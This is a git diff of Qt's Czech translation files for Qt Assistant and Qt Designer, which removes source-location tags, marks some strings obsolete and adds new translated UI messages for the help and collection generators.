+ <translation>Soubory s nápovědou (*.adp *.dcf)</translation>
+ </message>
+ <message>
+ <source>File Open Error</source>
+ <translation>Chyba při otevírání souboru</translation>
+ </message>
+ <message>
+ <source>The specified file could not be opened!</source>
+ <translation>Zadaný soubor nelze otevřít!</translation>
+ </message>
+ <message>
+ <source>File Parsing Error</source>
+ <translation>Chyba při zpracování souboru</translation>
+ </message>
+ <message>
+ <source>Parsing error in line %1!</source>
+ <translation>Chyba při zpracování na řádku %1!</translation>
+ </message>
+</context>
+<context>
<name>InstallDialog</name>
<message>
- <location filename="../tools/assistant/tools/assistant/installdialog.ui"/>
- <location filename="../tools/assistant/tools/assistant/installdialog.cpp" line="+76"/>
<source>Install Documentation</source>
<translation>Nainstalovat dokumentaci</translation>
</message>
<message>
- <location filename="../tools/assistant/tools/assistant/installdialog.cpp" line="+30"/>
<source>Downloading documentation info...</source>
<translation>Stahuje se informace o dokumentaci...</translation>
</message>
<message>
- <location line="+48"/>
<source>Download canceled.</source>
<translation>Stahování bylo zrušeno.</translation>
</message>
<message>
- <location line="+26"/>
- <location line="+78"/>
- <location line="+27"/>
<source>Done.</source>
<translation>Hotovo.</translation>
</message>
<message>
- <location line="-90"/>
<source>The file %1 already exists. Do you want to overwrite it?</source>
<translation>Soubor %1 již existuje. Chcete jej přepsat?</translation>
</message>
<message>
- <location line="+11"/>
<source>Unable to save the file %1: %2.</source>
<translation>Soubor %1 nelze uložit: %2.</translation>
</message>
<message>
- <location line="+8"/>
<source>Downloading %1...</source>
<translation>Stahuje se %1...</translation>
</message>
<message>
- <location line="+19"/>
- <location line="+42"/>
- <location line="+38"/>
<source>Download failed: %1.</source>
<translation>Stažení se nezdařilo: %1.</translation>
</message>
<message>
- <location line="-70"/>
<source>Documentation info file is corrupt!</source>
<translation>Soubor s informací o dokumentaci je poškozen!</translation>
</message>
<message>
- <location line="+37"/>
<source>Download failed: Downloaded file is corrupted.</source>
<translation>Stažení se nezdařilo: Stažený soubor je pravděpodobně poškozen.</translation>
</message>
<message>
- <location line="+2"/>
<source>Installing documentation %1...</source>
<translation>Instaluje dokumentace %1...</translation>
</message>
<message>
- <location line="+22"/>
<source>Error while installing documentation:
%1</source>
<translation>Chyba při instalaci dokumentace:
%1</translation>
</message>
<message>
- <location filename="../tools/assistant/tools/assistant/installdialog.ui"/>
<source>Available Documentation:</source>
<translation>Dostupná dokumentace:</translation>
</message>
<message>
- <location/>
<source>Install</source>
<translation>Instalovat</translation>
</message>
<message>
- <location/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location/>
<source>Installation Path:</source>
<translation>Cesta pro instalaci:</translation>
</message>
<message>
- <location/>
<source>...</source>
<translation>...</translation>
</message>
@@ -440,342 +898,375 @@
<context>
<name>MainWindow</name>
<message>
- <location filename="../tools/assistant/tools/assistant/mainwindow.cpp" line="+110"/>
- <location line="+391"/>
<source>Index</source>
<translation>Rejstřík</translation>
</message>
<message>
- <location line="-385"/>
- <location line="+383"/>
<source>Contents</source>
<translation>Obsah</translation>
</message>
<message>
- <location line="-378"/>
- <location line="+382"/>
<source>Bookmarks</source>
<translation>Záložky</translation>
</message>
<message>
- <location line="+2"/>
<source>Search</source>
<translation>Hledat</translation>
</message>
<message>
- <location line="-372"/>
- <location line="+215"/>
- <location line="+512"/>
<source>Qt Assistant</source>
<translation>Qt Assistant</translation>
</message>
<message>
- <location line="-544"/>
- <location line="+5"/>
<source>Unfiltered</source>
- <translation>Bez filtru</translation>
+ <translation type="obsolete">Bez filtru</translation>
</message>
<message>
- <location line="+107"/>
<source>Page Set&amp;up...</source>
<translation>&amp;Nastavení strany...</translation>
</message>
<message>
- <location line="+2"/>
<source>Print Preview...</source>
<translation>Náhled tisku...</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Print...</source>
<translation>&amp;Tisk...</translation>
</message>
<message>
- <location line="+7"/>
<source>New &amp;Tab</source>
<translation>Nová &amp;karta</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Close Tab</source>
<translation>&amp;Zavřít kartu</translation>
</message>
<message>
- <location line="+4"/>
<source>&amp;Quit</source>
<translation>&amp;Ukončit</translation>
</message>
<message>
- <location line="+5"/>
+ <source>CTRL+Q</source>
+ <translation>Ctrl+Q</translation>
+ </message>
+ <message>
<source>&amp;Copy selected Text</source>
<translation>&amp;Kopírovat vybraný text</translation>
</message>
<message>
- <location line="+8"/>
<source>&amp;Find in Text...</source>
<translation>&amp;Najít v textu...</translation>
</message>
<message>
- <location line="+6"/>
+ <source>&amp;Find</source>
+ <translation>&amp;Najít</translation>
+ </message>
+ <message>
<source>Find &amp;Next</source>
<translation>Hledat &amp;dál</translation>
</message>
<message>
- <location line="+4"/>
<source>Find &amp;Previous</source>
<translation>Najít &amp;předchozí</translation>
</message>
<message>
- <location line="+5"/>
<source>Preferences...</source>
<translation>Nastavení...</translation>
</message>
<message>
- <location line="+4"/>
<source>Zoom &amp;in</source>
<translation>&amp;Zvětšit</translation>
</message>
<message>
- <location line="+6"/>
<source>Zoom &amp;out</source>
<translation>&amp;Zmenšit</translation>
</message>
<message>
- <location line="+6"/>
<source>Normal &amp;Size</source>
<translation>Obvyklá &amp;velikost</translation>
</message>
<message>
- <location line="+4"/>
<source>Ctrl+0</source>
<translation>Ctrl+0</translation>
</message>
<message>
- <location line="+5"/>
<source>ALT+C</source>
<translation>ALT+C</translation>
</message>
<message>
- <location line="+2"/>
<source>ALT+I</source>
<translation>ALT+I</translation>
</message>
<message>
- <location line="+4"/>
<source>ALT+S</source>
<translation>ALT+S</translation>
</message>
<message>
- <location line="+3"/>
<source>&amp;Home</source>
<translation>&amp;Začáteční strana</translation>
</message>
<message>
- <location line="+4"/>
<source>&amp;Back</source>
<translation>&amp;Zpět</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Forward</source>
<translation>&amp;Dopředu</translation>
</message>
<message>
- <location line="+6"/>
<source>Sync with Table of Contents</source>
<translation>Seřídit stranu s kartou obsahu</translation>
</message>
<message>
- <location line="+7"/>
+ <source>Sync</source>
+ <translation>Seřídit</translation>
+ </message>
+ <message>
<source>Next Page</source>
<translation>Další strana</translation>
</message>
<message>
- <location line="+1"/>
<source>Ctrl+Alt+Right</source>
<translation>Ctrl+Alt+Right</translation>
</message>
<message>
- <location line="+3"/>
<source>Previous Page</source>
<translation>Předchozí strana</translation>
</message>
<message>
- <location line="+1"/>
<source>Ctrl+Alt+Left</source>
<translation>Ctrl+Alt+Left</translation>
</message>
<message>
- <location line="+4"/>
+ <source>Could not register file &apos;%1&apos;: %2</source>
+ <translation>Nepodařilo se zaznamenat soubor &apos;%1&apos;: %2</translation>
+ </message>
+ <message>
<source>Add Bookmark...</source>
- <translation>Přidat záložku...</translation>
+ <translation type="obsolete">Přidat záložku...</translation>
</message>
<message>
- <location line="+5"/>
<source>About...</source>
<translation>O...</translation>
</message>
<message>
- <location line="+16"/>
<source>Navigation Toolbar</source>
<translation>Navigační pruh</translation>
</message>
<message>
- <location line="+76"/>
<source>Toolbars</source>
<translation>Nástrojové pruhy</translation>
</message>
<message>
- <location line="+15"/>
<source>Filter Toolbar</source>
<translation>Filtrovací pruh</translation>
</message>
<message>
- <location line="+2"/>
<source>Filtered by:</source>
<translation>Filtr:</translation>
</message>
<message>
- <location line="+23"/>
<source>Address Toolbar</source>
<translation>Adresní pruh</translation>
</message>
<message>
- <location line="+4"/>
<source>Address:</source>
<translation>Adresa:</translation>
</message>
<message>
- <location line="+114"/>
<source>Could not find the associated content item.</source>
<translation>Nepodařilo se najít příslušnou položku obsahu.</translation>
</message>
<message>
- <location line="+71"/>
+ <source>&lt;center&gt;&lt;h3&gt;%1&lt;/h3&gt;&lt;p&gt;Version %2&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;</source>
+ <translation>&lt;center&gt;&lt;h3&gt;%1&lt;/h3&gt;&lt;p&gt;Verze %2&lt;/p&gt;&lt;/center&gt;&lt;p&gt;Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).&lt;/p&gt;</translation>
+ </message>
+ <message>
<source>About %1</source>
<translation>O %1</translation>
</message>
<message>
- <location line="+114"/>
<source>Updating search index</source>
<translation>Sestavuje se rejstřík hledání</translation>
</message>
<message>
- <location line="-638"/>
<source>Looking for Qt Documentation...</source>
<translation>Hledá se dokumentace ke Qt...</translation>
</message>
<message>
- <location line="+241"/>
<source>&amp;Window</source>
<translation>&amp;Okno</translation>
</message>
<message>
- <location line="+3"/>
<source>Minimize</source>
<translation>Zmenšit</translation>
</message>
<message>
- <location line="+1"/>
<source>Ctrl+M</source>
<translation>Ctrl+M</translation>
</message>
<message>
- <location line="-2"/>
<source>Zoom</source>
<translation>Zvětšení</translation>
</message>
<message>
- <location line="-159"/>
<source>&amp;File</source>
<translation>&amp;Soubor</translation>
</message>
<message>
- <location line="+25"/>
<source>&amp;Edit</source>
<translation>&amp;Úpravy</translation>
</message>
<message>
- <location line="+27"/>
<source>&amp;View</source>
<translation>&amp;Pohled</translation>
</message>
<message>
- <location line="+30"/>
<source>&amp;Go</source>
<translation>&amp;Jít na</translation>
</message>
<message>
- <location line="+2"/>
<source>ALT+Home</source>
<translation>ALT+Home</translation>
</message>
<message>
- <location line="+29"/>
<source>&amp;Bookmarks</source>
<translation>&amp;Záložky</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Help</source>
<translation>&amp;Nápověda</translation>
</message>
<message>
- <location line="-40"/>
<source>ALT+O</source>
<translation>ALT+O</translation>
</message>
<message>
- <location line="+38"/>
<source>CTRL+D</source>
- <translation>CTRL+D</translation>
+ <translation type="obsolete">CTRL+D</translation>
+ </message>
+</context>
+<context>
+ <name>OutputPage</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
+ <source>Project file name:</source>
+ <translation>Název projektového souboru:</translation>
+ </message>
+ <message>
+ <source>Collection file name:</source>
+ <translation>Název sbírkového souboru:</translation>
+ </message>
+ <message>
+ <source>Output File Names</source>
+ <translation>Názvy výstupních souborů</translation>
+ </message>
+ <message>
+ <source>Specify the file names for the output files.</source>
+ <translation>Zadejte názvy souborů pro výstupní soubory.</translation>
+ </message>
+ <message>
+ <source>Convert...</source>
+ <translation>Převést...</translation>
+ </message>
+ <message>
+ <source>Qt Help Project File</source>
+ <translation>Projektový soubor s nápovědou Qt</translation>
+ </message>
+ <message>
+ <source>Qt Help Collection Project File</source>
+ <translation>Projektový sbírkový soubor s nápovědou Qt</translation>
+ </message>
+ <message>
+ <source>The specified file %1 already exist.
+
+Do you want to remove it?</source>
+ <translation>Zadaný soubor %1 již existuje.
+
+Chcete jej odstranit?</translation>
+ </message>
+ <message>
+ <source>Remove</source>
+ <translation>Odstranit</translation>
+ </message>
+ <message>
+ <source>Cancel</source>
+ <translation>Zrušit</translation>
+ </message>
+</context>
+<context>
+ <name>PathPage</name>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
+ <source>File filters:</source>
+ <translation>Souborové filtry:</translation>
+ </message>
+ <message>
+ <source>Documentation source file paths:</source>
+ <translation>Cesty ke zdrojovým souborům s dokumentací:</translation>
+ </message>
+ <message>
+ <source>Add</source>
+ <translation>Přidat</translation>
+ </message>
+ <message>
+ <source>Remove</source>
+ <translation>Odstranit</translation>
+ </message>
+ <message>
+ <source>Source File Paths</source>
+ <translation>Cesty ke zdrojovým souborům</translation>
+ </message>
+ <message>
+ <source>Specify the paths where the sources files are located. By default, all files in those directories matched by the file filter will be included.</source>
+ <translation>Zadejte cesty k místům, v nichž jsou uloženy zdrojové soubory. Ve výchozím nastavení budou zahrnuty všechny soubory v těchto adresářích odpovídající podle souborového filtru.</translation>
+ </message>
+ <message>
+ <source>Source File Path</source>
+ <translation>Cesta ke zdrojovému souboru</translation>
</message>
</context>
<context>
<name>PreferencesDialog</name>
<message>
- <location filename="../tools/assistant/tools/assistant/preferencesdialog.cpp" line="+259"/>
- <location line="+43"/>
<source>Add Documentation</source>
<translation>Přidat dokumentaci</translation>
</message>
<message>
- <location line="-43"/>
<source>Qt Compressed Help Files (*.qch)</source>
- <translation>Stlačené soubory s nápovědoun (*.qch)</translation>
+ <translation>Stlačené soubory s nápovědou (*.qch)</translation>
</message>
<message>
- <location line="+37"/>
<source>The specified file is not a valid Qt Help File!</source>
<translation>Zadaný soubor není platným souborem nápovědy ke Qt.</translation>
</message>
<message>
- <location line="-8"/>
<source>The namespace %1 is already registered!</source>
<translation>Jmenný prostor %1 je již zaznamenám!</translation>
</message>
<message>
- <location line="+31"/>
<source>Remove Documentation</source>
<translation>Odstranit dokumentaci</translation>
</message>
<message>
- <location line="+1"/>
<source>Some documents currently opened in Assistant reference the documentation you are attempting to remove. Removing the documentation will close those documents.</source>
<translation>Některé v současnosti otevřené dokumenty pocházejí z dokumentace, kterou se právě pokoušíte odstranit. Při odstraňování budou zavřeny.</translation>
</message>
<message>
- <location line="+2"/>
<source>Cancel</source>
<translation>Zrušit</translation>
</message>
<message>
- <location line="+1"/>
<source>OK</source>
<translation>OK</translation>
</message>
<message>
- <location line="+88"/>
<source>Use custom settings</source>
<translation>Použít nastavení stanovená uživatelem</translation>
</message>
@@ -783,239 +1274,334 @@
<context>
<name>PreferencesDialogClass</name>
<message>
- <location filename="../tools/assistant/tools/assistant/preferencesdialog.ui"/>
<source>Preferences</source>
<translation>Nastavení</translation>
</message>
<message>
- <location/>
<source>Fonts</source>
<translation>Písma</translation>
</message>
<message>
- <location/>
<source>Font settings:</source>
<translation>Nastavení písem:</translation>
</message>
<message>
- <location/>
<source>Browser</source>
<translation>Prohlížeč</translation>
</message>
<message>
- <location/>
<source>Application</source>
<translation>Program</translation>
</message>
<message>
- <location/>
<source>Filters</source>
<translation>Filtr</translation>
</message>
<message>
- <location/>
<source>Filter:</source>
<translation>Filtr:</translation>
</message>
<message>
- <location/>
<source>Attributes:</source>
<translation>Vlastnosti:</translation>
</message>
<message>
- <location/>
<source>1</source>
<translation>1</translation>
</message>
<message>
- <location/>
<source>Add</source>
<translation>Přidat</translation>
</message>
<message>
- <location/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location/>
<source>Documentation</source>
<translation>Dokumentace</translation>
</message>
<message>
- <location/>
<source>Registered Documentation:</source>
<translation>Zaznamenaná dokumentace:</translation>
</message>
<message>
- <location/>
<source>Add...</source>
<translation>Přidat...</translation>
</message>
<message>
- <location/>
<source>Options</source>
<translation>Volby</translation>
</message>
<message>
- <location/>
<source>Current Page</source>
<translation>Nynější strana</translation>
</message>
<message>
- <location/>
<source>Restore to default</source>
<translation>Obnovit výchozí nastavení</translation>
</message>
<message>
- <location/>
<source>Homepage</source>
<translation>Začáteční stránka</translation>
</message>
<message>
- <location/>
<source>On help start:</source>
<translation>Na začátek nápovědy:</translation>
</message>
<message>
- <location/>
<source>Show my home page</source>
<translation>Ukázat moji domovskou stránku</translation>
</message>
<message>
- <location/>
<source>Show a blank page</source>
<translation>Ukázat prázdnou stránku</translation>
</message>
<message>
- <location/>
<source>Show my tabs from last session</source>
<translation>Ukázat mé karty z posledního sezení</translation>
</message>
<message>
- <location/>
<source>Blank Page</source>
<translation>Prázdná strana</translation>
</message>
</context>
<context>
+ <name>QCollectionGenerator</name>
+ <message>
+ <source>Unknown token at line %1.</source>
+ <translation>Neznámé klíčové slovo na řádku %1.</translation>
+ </message>
+ <message>
+ <source>Unknown token at line %1. Expected &quot;QtHelpCollectionProject&quot;.</source>
+ <translation>Neznámé klíčové slovo na řádku %1. Očekáván &quot;QtHelpCollectionProject&quot;.</translation>
+ </message>
+ <message>
+ <source>Missing end tags.</source>
+ <translation>Chybí zavírající prvky.</translation>
+ </message>
+ <message>
+ <source>Missing input or output file for help file generation.</source>
+ <translation>Chybí některé pro vytvoření souboru s nápovědou potřebné vstupní nebo výstupní soubory.</translation>
+ </message>
+ <message>
+ <source>Missing output file name.</source>
+ <translation>Nebyl zadán žádný název pro výstupní soubor.</translation>
+ </message>
+ <message>
+ <source>Qt Collection Generator version 1.0 (Qt %1)
+</source>
+ <translation>Qt Collection Generator verze 1.0 (Qt %1)
+</translation>
+ </message>
+ <message>
+ <source>Missing collection config file.</source>
+ <translation>Soubor s nastavením potřebný pro sbírku chybí.</translation>
+ </message>
+ <message>
+ <source>
+Usage:
+
+qcollectiongenerator &lt;collection-config-file&gt; [options]
+
+ -o &lt;collection-file&gt; Generates a collection file
+ called &lt;collection-file&gt;. If
+ this option is not specified
+ a default name will be used.
+ -v Displays the version of
+ qcollectiongenerator.
+
+</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Could not open %1.
+</source>
+ <translation>Nepodařilo se otevřít %1.
+</translation>
+ </message>
+ <message>
+ <source>Reading collection config file...
+</source>
+ <translation>Čte se soubor s nastavením pro sbírku...
+</translation>
+ </message>
+ <message>
+ <source>Collection config file error: %1
+</source>
+ <translation>Chyba v souboru s nastavením pro sbírku: %1
+</translation>
+ </message>
+ <message>
+ <source>Generating help for %1...
+</source>
+ <translation>Vytváří se nápověda pro %1...
+</translation>
+ </message>
+ <message>
+ <source>Creating collection file...
+</source>
+ <translation>Vytváří se sbírkový soubor...
+</translation>
+ </message>
+ <message>
+ <source>The file %1 cannot be overwritten.
+</source>
+ <translation>Soubor %1 nelze přepsat.
+</translation>
+ </message>
+ <message>
+ <source>Cannot open %1.
+</source>
+ <translation>Nelze otevřít %1.
+</translation>
+ </message>
+ <message>
+ <source>Cannot open referenced image file %1.
+</source>
+ <translation>Nelze otevřít odkazovaný obrázkový soubor %1.
+</translation>
+ </message>
+</context>
+<context>
+ <name>QHelpGenerator</name>
+ <message>
+ <source>Missing output file name.</source>
+ <translation>Nebyl zadán žádný název pro výstupní soubor.</translation>
+ </message>
+ <message>
+ <source>Qt Help Generator version 1.0 (Qt %1)
+</source>
+ <translation>Qt Collection Generator verze 1.0 (Qt %1)
+</translation>
+ </message>
+ <message>
+ <source>Missing Qt help project file.</source>
+ <translation>Chybí projektový soubor s nápovědou Qt.</translation>
+ </message>
+ <message>
+ <source>
+Usage:
+
+qhelpgenerator &lt;help-project-file&gt; [options]
+
+ -o &lt;compressed-file&gt; Generates a Qt compressed help
+ file called &lt;compressed-file&gt;.
+ If this option is not specified
+ a default name will be used.
+ -c Checks whether all links in HTML files
+ point to files in this help project.
+ -v Displays the version of
+ qhelpgenerator.
+
+</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Could not open %1.
+</source>
+ <translation>Nepodařilo se otevřít %1.
+</translation>
+ </message>
+ <message>
+ <source>Could not create output directory: %1
+</source>
+ <translation>Nepodařilo se vytvořit výstupní adresář: %1
+</translation>
+ </message>
+</context>
+<context>
<name>QObject</name>
<message>
- <location filename="../tools/assistant/tools/assistant/cmdlineparser.cpp" line="+112"/>
<source>The specified collection file does not exist!</source>
- <translation>Zadaný sbírkový soubor nelze najít!</translation>
+ <translation type="obsolete">Zadaný sbírkový soubor nelze najít!</translation>
</message>
<message>
- <location line="+4"/>
<source>Missing collection file!</source>
- <translation>Chybějící sbírkový soubor!</translation>
+ <translation type="obsolete">Chybějící sbírkový soubor!</translation>
</message>
<message>
- <location line="+9"/>
<source>Invalid URL!</source>
- <translation>Neplatné URL!</translation>
+ <translation type="obsolete">Neplatné URL!</translation>
</message>
<message>
- <location line="+4"/>
<source>Missing URL!</source>
- <translation>Chybějící URL!</translation>
+ <translation type="obsolete">Chybějící URL!</translation>
</message>
<message>
- <location line="+17"/>
- <location line="+19"/>
- <location line="+19"/>
<source>Unknown widget: %1</source>
- <translation>Neznámý prvek: %1</translation>
+ <translation type="obsolete">Neznámý prvek: %1</translation>
</message>
<message>
- <location line="-34"/>
- <location line="+19"/>
- <location line="+19"/>
<source>Missing widget!</source>
- <translation>Chybějící prvek!</translation>
+ <translation type="obsolete">Chybějící prvek!</translation>
</message>
<message>
- <location line="+7"/>
- <location line="+12"/>
<source>The specified Qt help file does not exist!</source>
- <translation>Zadaný soubor s nápovědou ke Qt nelze najít!</translation>
+ <translation type="obsolete">Zadaný soubor s nápovědou ke Qt nelze najít!</translation>
</message>
<message>
- <location line="-7"/>
- <location line="+12"/>
<source>Missing help file!</source>
- <translation>Chybějící soubor s nápovědou!</translation>
+ <translation type="obsolete">Chybějící soubor s nápovědou!</translation>
</message>
<message>
- <location line="+7"/>
<source>Missing filter argument!</source>
- <translation>Chybějící argument pro filtr!</translation>
+ <translation type="obsolete">Chybějící argument pro filtr!</translation>
</message>
<message>
- <location line="+12"/>
<source>Unknown option: %1</source>
- <translation>Neznámá volba: %1</translation>
+ <translation type="obsolete">Neznámá volba: %1</translation>
</message>
<message>
- <location line="+30"/>
- <location line="+2"/>
<source>Qt Assistant</source>
- <translation>Qt Assistant</translation>
+ <translation type="obsolete">Qt Assistant</translation>
</message>
<message>
- <location filename="../tools/assistant/tools/assistant/main.cpp" line="+217"/>
<source>Could not register documentation file
%1
Reason:
%2</source>
- <translation>Soubor s dokumentací %1 nelze zaznamenat
+ <translation type="obsolete">Soubor s dokumentací %1 nelze zaznamenat
Důvod:
%2</translation>
</message>
<message>
- <location line="+4"/>
<source>Documentation successfully registered.</source>
- <translation>Dokumentace byla úspěšně zaznamenána.</translation>
+ <translation type="obsolete">Dokumentace byla úspěšně zaznamenána.</translation>
</message>
<message>
- <location line="+11"/>
<source>Could not unregister documentation file
%1
Reason:
%2</source>
- <translation>Zaznamenání souboru s dokumentací %1 nelze zrušit
+ <translation type="obsolete">Zaznamenání souboru s dokumentací %1 nelze zrušit
Grund:
%2</translation>
</message>
<message>
- <location line="-3"/>
<source>Documentation successfully unregistered.</source>
- <translation>Dokumentace byla úspěšně odstraněna.</translation>
+ <translation type="obsolete">Dokumentace byla úspěšně odstraněna.</translation>
</message>
<message>
- <location line="+40"/>
<source>Cannot load sqlite database driver!</source>
- <translation>Databázový ovladač pro SQLite nelze nahrát!</translation>
+ <translation type="obsolete">Databázový ovladač pro SQLite nelze nahrát!</translation>
</message>
<message>
- <location line="+9"/>
<source>The specified collection file could not be read!</source>
- <translation>Zadaný sbírkový soubor nelze přečíst!</translation>
+ <translation type="obsolete">Zadaný sbírkový soubor nelze přečíst!</translation>
</message>
</context>
<context>
<name>RemoteControl</name>
<message>
- <location filename="../tools/assistant/tools/assistant/remotecontrol.cpp" line="+163"/>
<source>Debugging Remote Control</source>
<translation>Ladí se dálkové ovládání</translation>
</message>
<message>
- <location line="+1"/>
<source>Received Command: %1 %2</source>
<translation>Přijatý příkaz: %1 : %2</translation>
</message>
@@ -1023,22 +1609,18 @@ Grund:
<context>
<name>SearchWidget</name>
<message>
- <location filename="../tools/assistant/tools/assistant/searchwidget.cpp" line="+195"/>
<source>&amp;Copy</source>
<translation>&amp;Kopírovat</translation>
</message>
<message>
- <location line="+4"/>
<source>Copy &amp;Link Location</source>
<translation>&amp;Kopírovat adresu odkazu</translation>
</message>
<message>
- <location line="+4"/>
<source>Open Link in New Tab</source>
<translation>Otevřít odkaz v nové kartě</translation>
</message>
<message>
- <location line="+8"/>
<source>Select All</source>
<translation>Vybrat vše</translation>
</message>
@@ -1046,27 +1628,22 @@ Grund:
<context>
<name>TopicChooser</name>
<message>
- <location filename="../tools/assistant/tools/assistant/topicchooser.cpp" line="+54"/>
<source>Choose a topic for &lt;b&gt;%1&lt;/b&gt;:</source>
<translation>Vyberte námět pro &lt;b&gt;%1&lt;/b&gt;:</translation>
</message>
<message>
- <location filename="../tools/assistant/tools/assistant/topicchooser.ui"/>
<source>Choose Topic</source>
<translation>Vybrat námět</translation>
</message>
<message>
- <location/>
<source>&amp;Topics</source>
<translation>&amp;Náměty</translation>
</message>
<message>
- <location/>
<source>&amp;Display</source>
<translation>&amp;Zobrazit</translation>
</message>
<message>
- <location/>
<source>&amp;Close</source>
<translation>&amp;Zavřít</translation>
</message>
diff --git a/translations/designer_cs.ts b/translations/designer_cs.ts
index ea33a57..4099695 100644..100755
--- a/translations/designer_cs.ts
+++ b/translations/designer_cs.ts
@@ -4,45 +4,80 @@
<context>
<name>AbstractFindWidget</name>
<message>
- <location filename="../tools/shared/findwidget/abstractfindwidget.cpp" line="+127"/>
<source>&amp;Previous</source>
<translation>&amp;Předchozí</translation>
</message>
<message>
- <location line="+8"/>
<source>&amp;Next</source>
<translation>&amp;Další</translation>
</message>
<message>
- <location line="+24"/>
<source>&amp;Case sensitive</source>
<translation>&amp;Rozlišující velká a malá písmena</translation>
</message>
<message>
- <location line="+8"/>
<source>Whole &amp;words</source>
<translation>Celá &amp;slova</translation>
</message>
<message>
- <location line="+12"/>
<source>&lt;img src=&quot;:/trolltech/shared/images/wrap.png&quot;&gt;&amp;nbsp;Search wrapped</source>
<translation>&lt;img src=&quot;:/trolltech/shared/images/wrap.png&quot;&gt;&amp;nbsp;Hledání dosáhlo konce</translation>
</message>
</context>
<context>
+ <name>AbstractItemEditor</name>
+ <message>
+ <source>Selectable</source>
+ <translation>Vybratelné</translation>
+ </message>
+ <message>
+ <source>Editable</source>
+ <translation>Upravitelné</translation>
+ </message>
+ <message>
+ <source>DragEnabled</source>
+ <translation>TáhnutíPovoleno</translation>
+ </message>
+ <message>
+ <source>DropEnabled</source>
+ <translation>UpuštěníPovoleno</translation>
+ </message>
+ <message>
+ <source>UserCheckable</source>
+ <translation>ZaškrtnutelnéUživatelem</translation>
+ </message>
+ <message>
+ <source>Enabled</source>
+ <translation>Povoleno</translation>
+ </message>
+ <message>
+ <source>Tristate</source>
+ <translation>Tristate</translation>
+ </message>
+ <message>
+ <source>Unchecked</source>
+ <translation>Zaškrtnutí zrušeno</translation>
+ </message>
+ <message>
+ <source>PartiallyChecked</source>
+ <translation>ČástečněZaškrtnuto</translation>
+ </message>
+ <message>
+ <source>Checked</source>
+ <translation>Zaškrtnuto</translation>
+ </message>
+</context>
+<context>
<name>AddLinkDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/addlinkdialog.ui"/>
<source>Insert Link</source>
<translation>Vložit odkaz</translation>
</message>
<message>
- <location/>
<source>Title:</source>
<translation>Název:</translation>
</message>
<message>
- <location/>
<source>URL:</source>
<translation>URL:</translation>
</message>
@@ -50,7 +85,6 @@
<context>
<name>AppFontDialog</name>
<message>
- <location filename="../tools/designer/src/designer/appfontdialog.cpp" line="+418"/>
<source>Additional Fonts</source>
<translation>Dodatečná písma</translation>
</message>
@@ -58,37 +92,30 @@
<context>
<name>AppFontManager</name>
<message>
- <location line="-267"/>
<source>&apos;%1&apos; is not a file.</source>
<translation>&apos;%1&apos; není soubor.</translation>
</message>
<message>
- <location line="+4"/>
<source>The font file &apos;%1&apos; does not have read permissions.</source>
<translation>Soubor s písmem &apos;%1&apos; nemá oprávnění ke čtení.</translation>
</message>
<message>
- <location line="+8"/>
<source>The font file &apos;%1&apos; is already loaded.</source>
<translation>Soubor s písmem &apos;%1&apos; je již nahrán.</translation>
</message>
<message>
- <location line="+7"/>
<source>The font file &apos;%1&apos; could not be loaded.</source>
<translation>Soubor s písmem &apos;%1&apos; se nepodařilo nahrát.</translation>
</message>
<message>
- <location line="+17"/>
<source>&apos;%1&apos; is not a valid font id.</source>
<translation>&apos;%1&apos; není platným písmovým ID.</translation>
</message>
<message>
- <location line="+11"/>
<source>There is no loaded font matching the id &apos;%1&apos;.</source>
<translation>Není nahráno žádné písmo s ID &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+15"/>
<source>The font &apos;%1&apos; (%2) could not be unloaded.</source>
<translation>Písmo &apos;%1&apos; (%2) se nepodařilo uvolnit z paměti.</translation>
</message>
@@ -96,52 +123,42 @@
<context>
<name>AppFontWidget</name>
<message>
- <location line="+26"/>
<source>Fonts</source>
<translation>Písma</translation>
</message>
<message>
- <location line="+58"/>
<source>Add font files</source>
<translation>Přidat soubory s písmy</translation>
</message>
<message>
- <location line="+5"/>
<source>Remove current font file</source>
<translation>Odstranit současný soubor s písmem</translation>
</message>
<message>
- <location line="+4"/>
<source>Remove all font files</source>
<translation>Odstranit všechny soubory s písmy</translation>
</message>
<message>
- <location line="+19"/>
<source>Add Font Files</source>
<translation>Přidat soubory s písmy</translation>
</message>
<message>
- <location line="+1"/>
<source>Font files (*.ttf)</source>
<translation>Soubory s písmy (*.ttf)</translation>
</message>
<message>
- <location line="+13"/>
<source>Error Adding Fonts</source>
<translation>Chyba při přidávání písem</translation>
</message>
<message>
- <location line="+24"/>
<source>Error Removing Fonts</source>
<translation>Chyba při odstraňování písem</translation>
</message>
<message>
- <location line="+22"/>
<source>Remove Fonts</source>
<translation>Odstranit písma</translation>
</message>
<message>
- <location line="+0"/>
<source>Would you like to remove all fonts?</source>
<translation>Chcete odstranit všechna písma?</translation>
</message>
@@ -149,12 +166,10 @@
<context>
<name>AppearanceOptionsWidget</name>
<message>
- <location filename="../tools/designer/src/designer/qdesigner_appearanceoptions.ui"/>
<source>Form</source>
<translation>Formulář</translation>
</message>
<message>
- <location/>
<source>User Interface Mode</source>
<translation>Okenní režim</translation>
</message>
@@ -162,17 +177,14 @@
<context>
<name>AssistantClient</name>
<message>
- <location filename="../tools/designer/src/designer/assistantclient.cpp" line="+100"/>
<source>Unable to send request: Assistant is not responding.</source>
<translation>Chyba při posílání požadavku: Program Assistant neodpovídá.</translation>
</message>
<message>
- <location line="+39"/>
<source>The binary &apos;%1&apos; does not exist.</source>
<translation>Proveditelný soubor &apos;%1&apos; neexistuje.</translation>
</message>
<message>
- <location line="+9"/>
<source>Unable to launch assistant (%1).</source>
<translation>Program Assistant nelze spustit (%1).</translation>
</message>
@@ -180,92 +192,74 @@
<context>
